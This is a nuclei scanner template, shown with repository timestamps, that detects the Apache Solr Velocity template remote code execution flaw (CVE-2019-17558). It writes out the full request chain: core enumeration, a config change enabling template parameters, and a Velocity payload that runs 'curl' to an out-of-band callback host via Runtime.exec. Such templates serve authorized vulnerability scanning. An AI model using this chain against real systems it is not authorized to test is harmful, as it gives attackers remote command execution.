nuclei-templates/cves/2019/CVE-2019-17558.yaml

60 lines
2.6 KiB
YAML
Raw Normal View History

2021-01-02 04:59:06 +00:00
id: CVE-2019-17558
2020-09-03 16:13:34 +00:00
info:
name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
2021-06-09 12:20:56 +00:00
author: pikpikcu,madrobot
severity: high
reference: https://nvd.nist.gov/vuln/detail/CVE-2019-17558
2021-08-09 16:28:28 +00:00
tags: cve,cve2019,apache,rce,solr,oob
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.50
cve-id: CVE-2019-17558
cwe-id: CWE-74
description: "Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled` by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user)."
2020-09-03 16:13:34 +00:00
requests:
2021-04-08 09:44:25 +00:00
- raw:
2020-09-03 17:14:42 +00:00
- |
2021-04-08 09:44:25 +00:00
GET /solr/admin/cores?wt=json HTTP/1.1
Host: {{Hostname}}
2021-04-08 10:00:03 +00:00
2021-04-08 09:44:25 +00:00
- |
2021-08-09 16:28:28 +00:00
POST /solr/{{core}}/config HTTP/1.1
2020-09-03 17:14:42 +00:00
Host: {{Hostname}}
Content-Type: application/json
2020-09-03 16:13:34 +00:00
2020-09-03 17:14:42 +00:00
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
2020-09-03 16:13:34 +00:00
}
2021-04-08 10:00:03 +00:00
2020-09-03 17:14:42 +00:00
- |
2021-08-09 16:28:28 +00:00
GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20http://{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
2020-09-03 17:14:42 +00:00
Host: {{Hostname}}
Connection: close
2021-04-08 09:44:25 +00:00
2021-08-09 16:28:28 +00:00
matchers-condition: and
2021-04-08 09:44:25 +00:00
matchers:
- type: word
2021-08-09 16:28:28 +00:00
part: interactsh_protocol # Confirms the HTTP Interaction
2021-04-08 09:44:25 +00:00
words:
2021-08-09 16:28:28 +00:00
- "http"
- type: status
status:
- 200
extractors:
- type: regex
internal: true
name: core
group: 1
regex:
- '"name"\:"(.*?)"'